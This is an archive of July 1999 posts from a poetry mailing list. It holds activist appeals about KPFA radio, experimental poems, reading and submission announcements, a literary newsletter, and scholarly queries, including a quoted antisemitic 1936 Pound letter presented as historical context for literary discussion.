The info is: Samizdat / 14 Campus Circle / Lake Forest, IL 60045. Single copies of current/back issues: $3.50. Subscription: $10 for three annual issues. Checks made out to editor Robert Archambeau.

What better time than now, while summer sunlight lasts well past midnight there?

JJ

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306. david bromige
RADIO STATION KPFA, BERKELEY
Fri 23 Jul 1999

Listfellows : I am posting this message from the poet Trane DeVore because I agree with him that the closure of KPFA radio would be the final nail in our coffin. For decades now, increasingly, as corporations swallow up the media, KPFA has been the only source I know of for information whose dissemination is anywhere from distressing to deadly for corporate rule of the world. Believe me, this radio station shows NPR up for the wishy-washy liberals they unfortunately suppose they have to be. During the recent illegal war NATO conducted upon "the former Yugoslavia," via KPFA one heard every evening voices from Belgrade bearing witness to the reality of the destruction wrought in our names and with our money. It was through KPFA I first learned that the cluster-bombs our planes jettisoned over the Adriatic, were killing Italian fishermen---and causing the ports there to be shut down. First learned that, contrary to U.S. spokespersons, many U.S. planes had been shot down---I recall the number, then, before the bombing was stopped, as 37.

Clearly, such a station (which also opposed the illegal war on Iraq) is uncomfortable to the Clinton regime; and Marion Berry, his appointee to the body that oversees PBS, is now in charge of the Pacifica Foundation, the non-profit corp that oversees KPFA and 4 (I think) sibling-=stations. The current board of Pacifica illegally rewrote the mission statement, in contempt for KPFA's constituency, to attempt to turn the station into a middle-of-the-road (maindrain) outfit, unlikely under such a policy to disturb any thing or one. They may have notions of going even further. A sign held up at a recent rally here in my home town Sebastopol, claimed to cite a secret memo from Michael Palmer, the new Treasurer-Elect, to Lynn Chadwick, a Pacifica functionary, suggesting KPFA could be sold to corporate buyers for $70 million.

Anyone old enough to remember KQED TV before it went to commercials, will know the enormous destruction to its intelligence this commercialism ("Nature Is Brought to You By Exxon") has, with all deliberation, wrought. My god, how many years of "Are You Being Served"? "Are you being screwed" would be closer to the point.

Lynn Chadwick used to work for Voice of America, a propaganda station serving corporate interests by presenting an unreal americanism to the (un)suspecting 3rd world. I doubt she did a 180 on her way to Pacifica. The infiltration of the Pacifica board couldnt have been smoother if it had been cooked up in a rightwing thinktank. One notes the timing---Chadwick fires the KPFA station manager the week before KPFA was to celebrate its 50th birthday; Chadwick locks out the employees of this admittedly leftwing station and goes to canned music on July 13, as though to pre-empt any storming of any Bastille. I hear Robert Duncan saying, as more than once he did to me, "It doesn't have to be a plot, it works like one anyway," when I discerned the workings of one in the coincidence of more than one rightwing attack on democratic institutions. Dear gullible Robert.

Elan Fabbri, spokesperson for Pacifica, has declared that employees of KPFA who discussed the takeover on the air are "mutinous." To all you language-mechanics and discourse-analysts out there, this word-choice will surely be revealing. It reveals to me the authoritarian nature of Pacifica as currently constituted. Here in America we find mutiny very interesting. This is a nation born of mutiny. We have made "Mutiny on the Bounty" and "The Caine Mutiny" into perennial favorites. When power becomes aloof, unsusceptible of appeal, what recourse have we, but mutiny?

I apologize for the length of this introduction to Trane's letter. Please read that, and, if you feel so moved, please spread the word. The more people who know of this, the more difficult it will be for Pacifica to continue its illegal rewriting of its historical mission, the more difficult it will be to sell KPFA down the river.

We need to get people all over the world stirred up, we need the protest to reach proportions where even the bought media can't ignore it. KPFA is a strong expression of the conscience of America, and America with a silenced conscience will bring ruin throughout the globe. Further ruin, I should have written.

> *As many of you probably know by now, the Pacifica Foundation has removed all staff from KPFA and is running canned programs from the vaults. KPFA, a free-speech bastion and community radio station for fifty years, is under assault by a parent organization that is decidedly undemocratic and is seeking to change, against the wishes of a broad and diverse listenership, the shape of programming at the station. This crisis began when Pacifica fired KPFA's popular station manager, Nicole Sawaya, without prior consultation with the staff who actually work at the station. The only explanation given for Sawaya's firing was that she was "not a good fit." The paid and unpaid staff at KPFA began to voice thier dissent on air and were told that they could not. The imposition of an internal gag rule, an crime against free speech at KPFA, led to the termination of two prominent broadcasters--Larry Bensky and Robbie Osman. Pacifica tried to censor the KPFA evening news, claiming that the crisis at KPFA was "not news"--as Eileen Alfenderi (sp.?), co-host of the KPFA evening news, pointed out that the evening news had not been asked to hold back on a story during the entire 24 years of her tenure. Pacifica hired armed guards to "protect" the staff at KPFA (the staff is unanimously opposed to this); these guards were obviously put in place to intimidate the staff. On Tuesday, Dennis Bernstein broadcast a show about the crisis at KPFA and was forcibly removed from the station by the armed guards. The KPFA evening news tried to report on this, but was forced from the air. Pacifica has been running canned programming on the airwaves ever since. There has been a massive outcry against this violent and undemocratic move by the Pacifica Foundation. A series of statements condemning the Pacifica Foundation's acts has been recorded and should be available over the web soon. People protesting this action include Alice Walker, June Jordon, Jerry Brown, and Barbara Lee, just to name a few. It is imperative that anyone who supports free speech and anti-corporate community run radio to do what they can to help out at this critical juncture. KPFA was founded by pacifists and is one of the only radio stations that regularly produces shows on Latin America, corporate power, gay and lesbian issues, labor issues, issues that concern minorities and people of color, environmental issues, and the list goes on. KPFA is also a vital source for alternative forms of music and a voice in the local music scene. I urge you to contact your Representatives, your Congresspeople, and even your local politicians. We must not lose KPFA. For more information, and to put your name on the list of contacts for protest actions, please contact*

> *www.savepacifica.net, or*
> *www.radio4all.org/freepacifica.*
>
> *Thank you,*
>
> *Sincerely, Trane DeVore*
>
> *PLEASE pass this e-mail on to any interested parties.*

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307. **Lowther,John**

Re: pointless questions(ANSWERS)

Fri 23 Jul 1999

> how much authority is enough?
- not so's you'd notice
  even with a team of dedicated
  searchers

> where do you buy this commodity?
- i found it sitting
  on the bench
  outside
  the asst. principle's office

> how do you get the others to listen?
- cup one hand to ear

> where did Eliot Weinberger come from?
- new york ?
> why wasn't he here to begin with?
- beads were traded for him
  beads weren't invented yet

> what's fear worth these days?
- $6.75 per 2/hr increment

> which poem are you referring to?
- each is a snatch
  out of the continuum "poetry"
  don't make me choose

> what's your favourite of all the poems you don't read?
- must i choose ?
  i often like quotations from The Prelude
  but have never read the text

> can we talk Tennyson?
- no (i've an impediment)

> how long did it take you to find out?
- the realization
  came in an instant

> who's out now?
- john cage
  tho my love for him
  has nothing to do
  with his sexuality

> where are the boundaries?
- out there --->

> which one's the boss?
- no one, history, i dunno...

> who cares?
- those who use the answer

> when did all this come down?
- it's always come down
  and is now

> who's in charge of these words?
- "I [state yr name] am."

> who owns the owners?
-

> which credential do you prefer?
- those which ask
  us to think

> what's your idea of relief?
- escaping the hype

> what part of death is not necessary?
- the end

> where have you been all day?
- on hands and knees

crawling under a spectacle
to cannibalize a few parts

> what's the best way to get out of here?
- on the wind
but tacking against it

> can you find a better route there?
- hope for *any* route

> behind who should you hide?
- yr best guess
but be prepared to slip
behind another
if it doesn't pan out

> at what point will you know that you have won?
- when the rules change

> are you as ready as you need to be?
- to think so wd be complacent

> are all circles the same?
- if looking out of a box

> can we question questions?
- as a means yes, as an end why ?

> will there be time later?
- probably not

> who should we turn to?
- everyone we can reach

> does the perimetre change?
- yes, it recedes
as we approach

> do we?
- guilty until
proven static

> are you quite sure?
- i'm sweating

> is there one in many?
- if one is an island

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308. Dodie Bellamy
Changes at Small Press Traffic
Fri 23 Jul 1999

Small Press Traffic's executive director Dodie Bellamy will be taking a year's leave of absence to take the post of "Distinguished Visiting Writer" at Mills College's English Department. While she's away, SPT board member Jocelyn Saidenberg will assume directorship for the year to come. Jocelyn is the author of Mortal City (Parentheses Writing Series: 1998). Her work has been published in many journals such as Arshile, Mirage#4/Period[ical], Outlet, and Primary Writing. She is the founder, editor and publisher of KRUPSKAYA, a small press collective dedicated to publishing experimental poetry and prose. Born and raised in NYC, she has been living in San Francisco since 1994 and is the 1999 winner of the New Langton Arts Bay Area Award Show.

(Dodie will continue to act as an advisor and volunteer.)

Small Press Traffic Literary Arts Center
at New College
766 Valencia Street
San Francisco, CA 94110
415/[redacted]

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309. KENT JOHNSON
Modernists in the basement
Fri 23 Jul 1999

I alluded a few days ago to an exchange between Pound and WCW. Here is the passage I had in mind, from Eliot Weinberger's long essay "The Modernists in the Basement and the Stars Above" (truly a stunner, in many ways), found in _Works On Paper_ (New Directions):

Pound, letter to Williams, 1936:

jews having been circumcised for centuries/ it must have had some effect on the character. [...] history is written and character is made by whether and HOW the male foreskin produces an effect of glorious sunrise or of annoyance in slippin backward. Someone diagnosed Shaw years ago by saying he had a tight foreskin/ the whole of puritan idiocyis produced by badly built foreskins. Criminology/ penology shd/ be written around the cock. The dissecting room shd/ lay off that chaotic bucket of sweet breads from the skull and start research from the prong UPward. The lay of the nerves/ etc. This doesn't blot out endocrinology/ but it is the fount of aesthetics/ means microscopic

attention/ disssection and micro/ photographic enlargements/ killers etc/ shd have their prongs photoed postmortem.

Williams' reply:

...if cutting off the loose hide over a few thousand years has altered the Hebrew character-- I doubt it. By all the laws of heredity it should have affected the women and they are as bad as the men today, or worse. It ain't the skin that makes the difference in the man, its the stick in it that does it.

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310. Ramez Qureshi
Ribot Query
Fri 23 Jul 1999

Dear All:
Does anyone know what the theme for the next Ribot is/what the deadline for the next issue is (if it hasn't already past).

Under 30,
Ramez Qureshi

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311. Ron Starr
Diastic Reading (Yet More Ways to...)
Fri 23 Jul 1999

Charles O. Hartman's original DIASTEXT program is available from the tools page of my website. He was kind enough to send it after someone forwarded my query to him. You'll find it as a ZIP file containing a DOS executable and the C source at :

http://www.eskimo.com/~rstarr/poormfa/poemtool.html

You'll also find a Perl program to do diastic reading on that page. And, last but not least, I have a web page that does diastic reading (I made the Perl program into a CGI script). So, you can go to

http://www.eskimo.com/~rstarr/poormfa/diastic.html

type in your key/title phrase, paste in your text, click a button, get the diastic text, and not use anything other than your browser.

There are also links to Taylor Brady's Word macros and other things that other folks and other sites pointed me to.

Happy computed writing.

- Ron

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312. A H Bramhall
Dust My Broom
Fri 23 Jul 1999

---

the importance
sucks every importance
does sucks the big
empty egg
sucks
the importance
careering
thing. motivation
sucks.
that's this thing
brunch
with the kennedys your
sultry pals
and any dirty
thing.
all you,
same old clunk
in the big top
give me a break.
I got out.
pierce your freak, eat
armour, see
your own sag, hold
my cob. where I come
from, learn the roots. where I
come from, settle the
issue. where I come, from oh
well. where
I come from,
your rat. when I lose, I really
lose. what's the gambit stinky
pattern madcap
give me a break. authority
lives the total crap you
big less than

tree. this is natural
hold my cold.
poetry sucks
excavation. poetry is just
schoolwork in a prison of
yesterday's reform.
bite my
provisions. I already said nowhere
there am I.
you and I
can't dance. freak out
toke, could go
on and on.
wherever.
whatever.
Nancy's on the phone.
see you at the
princess meeting
if I fail.

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313. KENT JOHNSON

Jaime Saenz

Fri 23 Jul 1999

Five poems by the Bolivian writer Jaime Saenz (translated by myself and Forrest Gander) are just up at Jacket #8.
http://www.jacket.zip.com.au/jacket08/index.html

Hope some of you will take a look at this very interesting poet.

Kent ---------- Jaime Saenz (1921-1986) is Bolivia's leading writer of the 20th century. Prolific as poet, novelist, and non-fiction writer, his baroque, propulsive syntax and dedication to themes of death, alcoholism, and otherness make his poetry among the most idiosyncratic in the Spanish-speaking world. As the author of one of Latin America's first openly homosexual novels, the as yet untranslated masterpiece Felipe Delgado, Saenz's work also stands as a singular example of artistic and personal courage. His poetry is collected in eleven books (including a volume of selected work), the first of these published in 1955 and the last in 1984. The poems presented here are taken from the collection As the Comet Passes (1982). They are the first published translation of Jaime Saenz's writing in English and part of a book manuscript of selected works.

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314. Alan Sondheim
Vito Hannibal Acconci
Sat 24 Jul 1999

&*&

Vito Hannibal Acconci

She was an ordinary girl from a nowhere place. She came to Hollywood to make it big and I knew her back when, way back when her name was Carrie. Carrie was sixteen and just about as sweet as they made them, and back then they made them sweet. You could take one look in her eyes and know that was innocence talking and you'd never be the same. I once saw her stop traffic with her voice; I wouldn't have believed it if I didn't see it myself. The cars just pulled right over. She sang her poor little heart out. You'd take one look at her and you'd know she wouldn't last. You'd take her in and take care of her and ask for nothing back. She would have given you everything in the world, you thought,and she made your heart big as all outdoors. I saw the sun rise in her eyes and I thought I'd see it set, too, but it didn't. Everyone knew she was doomed to failure and everyone worked hard to make sure she never failed.

I'm an old man now, I could tell you stories, she'd still remember me, it was just last year I heard she died, I gave her the best parts of my life, I can still see her then, you wouldn't believe such innocence, her smile brightened my life, sometimes I hear her call me, I turn around thinking she's there, I remember her like the day I was born

---

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315. A H Bramhall
The Whole World's In An Uproar
Sat 24 Jul 1999

the thing is
bent out of shape. your memory
resists the change. figuring the
drama and the proper
out of body expenses. dream this,
baby needs a lunch box.
speed is might, dogs
don't dream, words
aren't careful

as they fall from your
tree.
I wish the central issue
big time
convention of forces till the
field next time
freaking out.
oh how love
can mystify when
you don't even hear the
words.
dogma, factotum
in an age of
free spending muckers.
this is the language
I ended up with. and my
topic
today
is what is
left

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316. Charles Bernstein
List Down til Monday
Sat 24 Jul 1999

The Central Email service at SUNY-Buffalo has been closed until Monday morning for scheduled maintenance. This means that the Poetics List will be down and that anyone with a UB email address will not have access to their mail this weekend.

Charles Bernstein

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317. Jill Stengel
august 8 reading--sf, ca
Sun 25 Jul 1999

synapse: second sundays at blue bar

--presents--

a reading with sarah anne cox and elizabeth treadwell
august 8, 2 p.m.

blue bar is at 501 broadway, at kearney, in sf
enter thru black cat restaurant, same address

admission is $2

definite articles by sarah anne cox and eve doe (movements 9-31) by elizabeth treadwell, both new from a+bend press, will be available at the reading.

Sarah Anne Cox is the author of Home of Grammar (Double Lucy Books, 1997) and definite articles (a+bend press, forthcoming August 1999) and an editor of Outlet magazine. She also writes for and performs with the rock band dear mary,.

Elizabeth Treadwell's collection of prose/poetry, Populace, was published earlier this year by Avec Books. She is also the author of a novel, Eleanor Ramsey: the Queen of Cups (San Francisco State University, 1997); and four chapbooks. Treadwell edits Outlet magazine and Double Lucy Books (users.lanminds.com/dblelucy) in Berkeley, CA, where she also continues work on her Eve Doe project.

_____
please notify sender if you wish to be removed from this list

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318. **Jim Rosenberg**
(Fwd) WEB DOC(K)S
Sun 25 Jul 1999

With apologies for cross-posting ...

------- Forwarded Message Follows -------
To: [redacted] (Jim Rosenberg)
From: "akenatons docks" <[redacted]>
Subject: WEB DOC(K)S
Date sent: Thu, 22 Jul 1999 18:20:02 +0200

To: YOU!!!!!!
From: akenaton/docks <[redacted]> Subject: WEB DOC(K)S SPECIAL ISSUE
Cc:
Bcc:

WEB ART & POESIE : DOC(K)S N° SPECIAL

A la suite de la présentation dans le cadre des 1° rencontres d'art contemporain d'Aix-en-Provence (http//www.aix-art-contemporain.org) d' une sélection de travaux liés au web nous avons décidé de réaliser un numéro special de la revue DOC(K)S consacré au même thème.

Comme pour les numéros précédents celui ci sera doublé d'un CD ROM.

Pour la partie imprimée nous attendons de vous des textes théoriques, des images, des travaux liés à la poésie visuelle etc. Pour le CD nous souhaiterions des travaux directement liés au web ou en tout cas susceptibles d' y être diffusés. Selon la formule que nous avons testée à Aix-en-Provence nous essayerons dans la mesure du possible de restituer le contexte web. Si vous avez un site nous souhaiterions - par exemple - utiliser votre home page comme index et "'titre" de vos travaux. Des liens externes sont possibles.

Bien entendu, nous sommes tout à fait disposés à présenter sur ce CD les objets déjà sélectionnés pour Aix-en-Provence. Si vous avez fait partie de cette sélection nous attendons votre accord. Si vous souhaitez des modifications nous sommes à votre disposition.

Formats pour l'impression: word 5 ou 6, mac ou pc, images jpeg ou .tiff (300pp), dimension maximale des pages 17X24, 5.

Formats CD ROM: html, gif, gifa, jpeg, .swf, .dir, .mov, .wav, .mid,

compression: winZip, stuffle.ex
Deadline : 30 Septembre 1999

Les envois peuvent être faits par voie électronique (akenaton_docks@sitec.f) pour les objets légers ou par voie postale pour ceux destinés à l'impression. ZIP, Syquest 44/88, Diskettes.
Format Mac ou PC.
Adresse: AKENATON/DOC(K)S
12 COURS GRANDVAL
F 20 000 AJACCIO
tel fax 04 95 21 32 90
http://www.sitec.fr/users/akenatondocks

WEB ART & POETRY : DOC(K)S SPECIAL ISSUE In the wake of the presentation for the first Aix-en-Provence Contemporary Art Meeting (http//www.aix-art-contemporain.org) of a selection of works linked to the Web, we have decided for a special issue of the review DOC(K)S on that theme.

Like the latest issues it will be teamed with a CD-Rom.

For the printed matter itself we invite you to send us texts on theory, images, visual poetry works etc.

As for the CD, we would like proper Web-works or at least suitable to a Web-diffusion. Much like the formula we tested in Aix-en-Provence we will strive to recreate the context of the Web. If you have a site we would like - for example - to use your home page for an index and 'title' to your works. Exterior links could be made.

Of course, we can very well settle with the objects already chosen for Aix-en-Provence. If you were selected we await anew your consentment. We are at your disposal should you wish to modify something or other.

Formats for the printed works: word 5 or 6, mac or pc, pictures jpeg or tiff(300pp), max. size for a page 17x24.5.

CD-Rom formats: gif, gifa, jpeg, .swf, .dir, .mov, .wav, .mid

Compression: winzip, stuffle.exDeadline : 30 September 1999

You can send your contributions either by e-mail (light stuff) or simply by mail (printed matter for print! usable as is! also Zips, discs, syQuest 44/88 (mac or pc)

Adresse: AKENATON/DOC(K)S
12 COURS GRANDVAL
F 20 000 AJACCIO

tel fax 04 95 21 32 90
http://www.sitec.fr/users/akenatondocks

Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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319. Michael Neff
Electronic Literary Arts Newsletter (ELAN) #1
Sun 25 Jul 1999

Dear Members,

This is the first ELAN. If anyone has newsworthy items, blurbs, or announcements of general literary interest they would like to include, please forward them to the ELAN editor, Liana Scalettar: <[redacted]> and they will be well received. Subscription requests to the above address also.

The ELAN reaches over 2000 members and is growing.

Best,
Mike Neff

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ELECTRONIC LITERARY ARTS NEWSLETTER #1

Note: ELAN is a non-commercial newsletter sponsored by a collaboration of magazines, writers, editors, and publishers at Web Del Sol, and directed only to members of the literary arts community.
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FEATURES AND HEADLINES THIS ISSUE:

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    - Poet Campbell McGrath Wins a Macarthur
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FROM THE CYBER TRENCHES

Welcome to Issue One of the Electronic Literary Arts Newsletter (ELAN), a monthly compendium of news for and about the literary community. We'll be pointing you to the essential news from the literary world; discussing developments at small and large presses; guiding you through the thickets of Web Del Sol and its bevy of guest publications; and, generally, providing a digest of things you should know. ELAN wants to be your one-stop, all-inclusive resource for lit. news--from venues large and small, writers known and unknown. To that end,

please send gripes, suggestions, thoughts to [redacted].
And
avoid cyberheadaches--tell your friends and loved ones to subscribe.

Liana Scalettar
ELAN Editor

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WRITERS WRITING/WRITERS TALKING

Suzanne Berne has won the Orange Prize for Fiction for her novel,
A
Crime in the Neighborhood (Viking/Workman). The 30,000 pounds annual prize

is given to the best novel written by a woman and published in the UK. Also shortlisted: Julia Blackburn's The Leper's Companion (Cape/Random House); Marilyn Bowering's Visible Worlds (Flamington/ HarperCollins); Jane Hamilton's The Short History of a Prince (Doubleday/Random House); and Barbara Kingsolver's The Poisonwood Bible (Faber/HarperCollins). Italian writer Pia Pera's take on Lolita, a novel called Lo's Diary, will be published by Foxrock Press. Farrar, Straus, & Giroux dropped the book, originally slated for a fall,'98 release, after Dimitri Nabakov, son

of, sued the publisher for copyright violation. Nabakov will receive 5% of

the royalties,and will write some introductory material to be included in the edition. Poet Nikki Giovanni talks to Publishers Weekly, in a June 28th interview, about teaching and writing, Tupac Shakur and Allan Iverson, cancer recovery and nesting robins.

WDS JOINS ACLU IN MICHIGAN ANTI-CENSORSHIP SUIT; HOUSE VOTES WELL; SENATE COMMITTEE VOTES POORLY

In response to Michigan's enactment of a law forbidding the provision of"sexually explicit" materials online to minors, WDS and the ACLU have filed suit, and are seeking an injunction against the enforcement of the law. Its vague language makes the law dangerous to publishers, even those who live outside the state of Michigan, who could be held liable for any sexually explicit material on their sites. Other plaintiffs include Litline and Alt-X. In related news, Arts Wire Current <http://www.artswire.org> notes that the House of Representatives defeated the "Children's Defense Act of 1999" by a vote of 282-146. Introduced by my personal demon, Representative Henry Hyde, the amendment would have crimimalized the sale to minors of "any picture, photograph, drawing, sculpture,[etc., etc., etc.] containing explicit sexual or violent material." The ABA's Bookweb reports that on June 23rd, the Senate Commerce Committee approved a bill mandating that any school or library that uses federal funds for Internet connections must install filters to block access to "material deemed to be harmful to minors."

SMALLPRESS.NET BOASTS THE BEST OF INDEPENDENT PUBLISHERS

SmallPress.Net <http://smallpress.net> has arrived to expedite the

purchasing of literary books online. Created and sponsored by the Literary

Arts Allied Collective <http://www.literaryarts.org/> (creator and administrator of the Literary ArtsWeb Ring<http://www.lit-arts.com/WebRing/>) and Web Del Sol, SmallPress.Net is uniquely programmed to make use of advanced CGI searching and bundling techniques which enable the user to conveniently and quickly browse for individual books and through predefined search categories. In short, the shop offers the literary best of Amazon.com, with Amazon's power

and savings. Unlike Amazon, of which it's currently an associate, SmallPress.Net is fast, meticulously focused, and bereft of unwanted distractions.Set for rapid expansion, SmallPress.Net will soon partner with other publishers to showcase the finest new literature. With such luminaries as Gray Wolf, Milkweed, and Copper Canyon aboard, this new storefront promises to become a must-shop for lit. lovers online.

ON OFFER: NEW AT WDS'S LITERARY BUFFET

Look for Susan Messer and J. David Stevens in the Spring '99 web issue of North American Review <http://www.webdelsol.com/NorthAmreview/NAR/>. And, in the Review's just-posted archives, revisit Aimee Bender, Susan Hahn, and more. With a wee 25-year break, NAR has been publishing since 1815. And--wouldn't you know--Conjunctions #32, <http://www.conjunctions.com> Eye to Eye, highlights collaborations, homages, arguments between writers and artists. Joyce Carol Oates, Paul West, and Bradford Morrow all fete Joseph Cornell; C.D. Wright's poems accompany Deborah Luster's silverprints, and vice-versa.

The Prose Poem <http://www.webdelsol.com/tpp> posts number 3, featuring new work by Robert Bly, Holly Iglesias, and Max Winters. In numbers 1 and 2, Stuart Dybek, Rosemarie Waldrop, and Chilean great Gabriela Mistral all appear.

ZYZZYVA editor Howard Junker pithily and lovingly discusses little magazines, and Ford Madox Ford's stewardship of one in particular, on the brand new--clear, clean--ZYZZYVA home page <http://www.webdelsol.com/ZYZZYVA>.

Proems? Posetry? In Posse <http://www.webdelsol.com/InPosse>grapples with questions of genre. Meanwhile, forms, forms, and more forms abound at La Petite Zine <http://www.webdelsol.com/La_Petite_Zine>. LPZ's editors bring you microfictions, short shorts, ghazals, and tanka, aiming to "build on the past" while barreling towards the future. Lagniappe features sweet little freebies, odds and ends, and writerly tchotchkes.

Work by Mackinnon, Darton, Baillargeon, and Maginnes appears in the New

England Review <http://www.webdelsol.com/New_England_Review>; poetry by Barbara Hamby and fiction by Reynolds Price distinguish the current web issue of Five Points <http://www.webdelsol.com/Five_Points>, which will soon
post a new issue

Both Global City Review and Quarterly West are under renovation, and should
be back in the mix soon. Five Points is also working on a new site: <http://webdelsol.com/Five_Points>

And, for those of you not yet sated, Perihelion #4 <http://webdelsol.com/Perihelion> focuses on women poets working in electronic and print media. Beautiful graphics started your editor off on one those long questions about text and image, image and text.

SMALL FISH LAUNCH NEW LINE, BIG FISH GET BIGGER

Poets & Writers <http://www.pw.org.> notes the launch of a trade paperback imprint by the New York Review of Books. Twelve titles, among them Julio Cortazar's The Winners, are to be released this fall by the venerable journal's new line. According to series editor Edwin Frank, the imprint will focus on reprints of challenging, little- or lesser-known books. According to a June 18th article in the New York Times <http://www.nytimes.com/library/books/>, Rupert Murdoch's News Corp. has announced its acquisition of Avon Books and William Morrow & Co. With the close of this deal, News Corp.'s HarperCollins will greatly expand its market share. Avon and Morrow together comprise twenty-two imprints that publish 1,000 books every year. The Times also notes recent speculation that Time Warner,which already owns Little, Brown and Warner Books, might be eyeing Simon and Schuster. (See Bookwire at <http://www.bookwire.com> for the most recent Time Warner/S &S developments. Apparently the acquisition is off, but a joint venture-details hazy--is probable.) And, adding fuel to the fire of my despair, the Times

also also notes that distributors and bookstores are getting into the consolidation game. Happily, in the wake of the Federal Trade Commission's

objection to the deal, Barnes and Noble announced on June 2 that it would not buy Ingram Book Company, the distributor.

WDS TO TAKE HOLLYWOOD; TOM CRUISE CHANGES HIS MIND; SUN & MOON PRESS LOSES A BOOK

WDS plans to host its first annual writer's workshop and film festival in Los Angeles, in summer, 2000. Hurdles remain, but the outlook is favorable. The workshop/festival will provide an opportunity for story (and perhaps poetry)

contest winners to not only meet and mingle with independent filmmakers, but to have their works adapted into film. The films will then

be shown at the festival. The event will also feature a screenwriting component run by Pulitzer-winner Robert Olen Butler. The workshop portion of the event will be trail-bossed by Meg Files, veteran of the well known Pima Writer's Workshop. Also on the film front, the imminent opening of Stanley Kubrick's "Eyes Wide Shut" has provoked a flurry of tie-in and rights news. Warner Books will publish the US and Penguin UK the British versions of the book tie-in,which will feature both the screenplay and Arthur Schnitzler's "Dream Story,"on which the film is based. Co-star Cruise had objected to the inclusion of photographs, since the August book releases predate the movie's international release in September. Now, apparently, he's relented. According to Publishers Weekly <http://www.bookwire.com/PW/>, Kubrick's acquisition of the rights included control of any new editions, in English, of "Dream Story." When Sun & Moon

Press's contract with S. Fischer, the book's German publisher, expired in August of 1998, the latter chose to wait for the chance of film tie-ins rather than renewing its contract with the very independent LA publisher. For news and views from a personal favorite, Women Make Movies' executive director Debra Zimmerman, visit WDS's new film blurbs.

A MEGA-SPAMMING MOST SEVERE:IMMATURE PRANK OR NET TERRORISM?

On May 31, 1999, the WDS mail server at Mindspring was repeatedly bombed
over an indefinite period of time by well over 1200 spam mails, launched for
the purpose of clogging up the server and preventing use. Many hours and
headaches later, the mails were finally deleted. WDS firmly believes that a
staff editor at the Cortland Review was responsible for the assault. WDS and
Cortland Review had been at odds over the sharing of a mail list and
subsequent harassments leveled at WDS by the editors of Cortland Review. An
hour following the last email exchange on the subject, the WDS mail server

was effectively crashed by the mega spamming. WDS believes this action was

taken to follow up on prior and specific server-attack threats issued by a

Cortland Review editor (who had also threatened WDS editors with physical violence). The editors at WDS feel this incident to be very unfortunate and

stunning considering the source. An AOL server in Virginia was used. The incident was reported to the Fairfax police authorities as a violation of the Virginia Computer Crimes Act. The investigation is still ongoing. AOL is also looking into the matter. WDS is seeking further legal advice. WDS feels the matter must be aired, if for no other reason than to dissuade further belligerance.

SEE THE STARS & HEAR THEIR VOICES AT MM PORTAL

Web Del Sol's A-V aggregation, the Multi-Media Portal, currently offers readings by Mark Doty, Toi Derricotte, Rikki Ducornet, James Merrill, W.S. Merwin, Sylvia Plath, among whole multitudes of others. Alternately, if the classics do nothing for you, GO crazy with GO poetry's slam stalwarts Bob Holman, Regie Cabico, Justin Chin and the like. All this fabulousness is available all the time to you, the voracious reader/voyeur/listener, at <http://www.webdelsol.com/audio-portal.htm>.

DJUNA OVERSEES A NEW COLLECTION OF FICTION AND POETRY AT WDS

With the spirit of Djuna Barnes presiding, this batch of new writing features work by Maria Velho da Costa, Diane Williams, Denise Duhamel & Maureen Seaton (together again), Jill Wolfson, Walt Cummins, Moris Farhi, Joan Houlihan, Daryl Scoggins, Michael Hettich, Patricia Ward, CB Follett, R.T.Smith, Neca Stoller, and more. The creative nonfiction choices feature the best of the recent Creative Non-Quiction Contest sponsored by 5_Trope, Brevity, and WDS.

Welcome also the new editors of Editor's Picks, who are now putting together EP 3. They are: Joan Houlihan, Paul Beckman, Rachel Callaghan, Shoshanna Wingate, Neal Durando, Vince Colvin, and David Berg-Seiter. Look to for new contributing editors Richard Zenith and Tony Lombardo.

PI_R_ROUND: A LOCUS FOR HIGH SCHOOL CREATIVE WRITING PROGRAMS

In keeping with its promise to include creative writing programs from around the country,WDS has created a new site called the Mercersburg Review which showcases new writing by high school students at Mercersburg Academy in Pennsylvania. The Mercersburg site will be the first of several HS programs to follow and be collected in a greater website called Pi_R_Round, http://webdelsol.com/Pi_R_Round. The Mercersburg students and their teachers, Joel Chace and Aron Solomon, will facilitate the inclusion of

work
from other schools.
Meanwhile, work continues on the Creative Writing Project begun by WDS and
Ohio State University over a year ago. Five universities are currently part
of the project, with four more waiting in the wings and soon to be added.
Visit the CWP at <http://webdelsol.com/CWP>.

MACARTHUR FOUNDATION AWARDS CAMPBELL MCGRATH

Poets & Writers reports that the foundation described the author as "one of
the most creative poets of his generation." Director of the poetry program

at Florida International University, McGrath is the author of Spring Comes

to Chicago (Ecco Press, 1996), American Noise (Ecco Press,1993) and Capitalism (Wesleyan University Press,1990). Road Atlas, his new book, is scheduled for July publication.

SALINGER'S DAUGHTER TO PUBLISH MEMOIR

In the fall of 2000, Simon and Schuster will publish Margaret Salinger's memoir. The author had originally planned to publish with Riverhead, an imprint of Penguin Putnam; however, not satisfied with the deal, she has now signed with S & S's Pocket Books.

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320. Terry Diggory
WCW Australia/NZ
Mon 26 Jul 1999

Dear Listmates:

For a study of the reception of the US poet William Carlos Williams in Australia and New Zealand, I would appreciate references, evidence, impressions, especially from those on the scene.

How has Williams's work come to be known? Has it been particularly noticeable at certain dates? In what ways has its reception been part of larger developments, e.g, a turning away from British models, an opening to modernist or post-modernist aesthetics? Has the presence of Williams been felt in other arts besides literature? In addition to such general issues, cases of local transformations of Williams's much quoted poem "The Red Wheelbarrow" are of particular interest.

To prime the pump, here are some sources I am already familiar with (as it happens, they represent New Zealand more than Australia):

1) Williams's 1947 "Letter to an Australian Editor," written for Flexmore Hudson at POETRY: THE AUSTRALIAN INTERNATIONAL QUARTERLY OF VERSE. (Background on this editor or journal would be welcome.)

2) Elizabeth Smither's YOU'RE VERY SEDUCTIVE, WILLIAM CARLOS WILLIAMS (1978). (I know of this as a title but have not seen the text itself),

3) C. K. Stead's 1979 essay "From Wystan to Carlos Modern and Modernism in Recent New Zealand Poetry"

4) Allen Curnow's 1982 essay "Olson as Oracle: 'Projective Verse' Thirty Years On"

5) the 1984 short experimental film THE RED WHEELBARROW by NZ artist Bridget Sutherland

6) an article by Harriet Margolis on the Sutherland film, published in a 1996 issue of NEW ZEALAND STUDIES

Thanks in advance for your thoughts! Apologies for cross-posting. Please backchannel response to [redacted] or post to list, as seems appropriate.

Terry Diggory
English Dept.
Skidmore College
Saratoga Springs, NY 12866-1632
USA

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321. david bromige

three things : a reading; a redundancy; a resource

Mon 26 Jul 1999

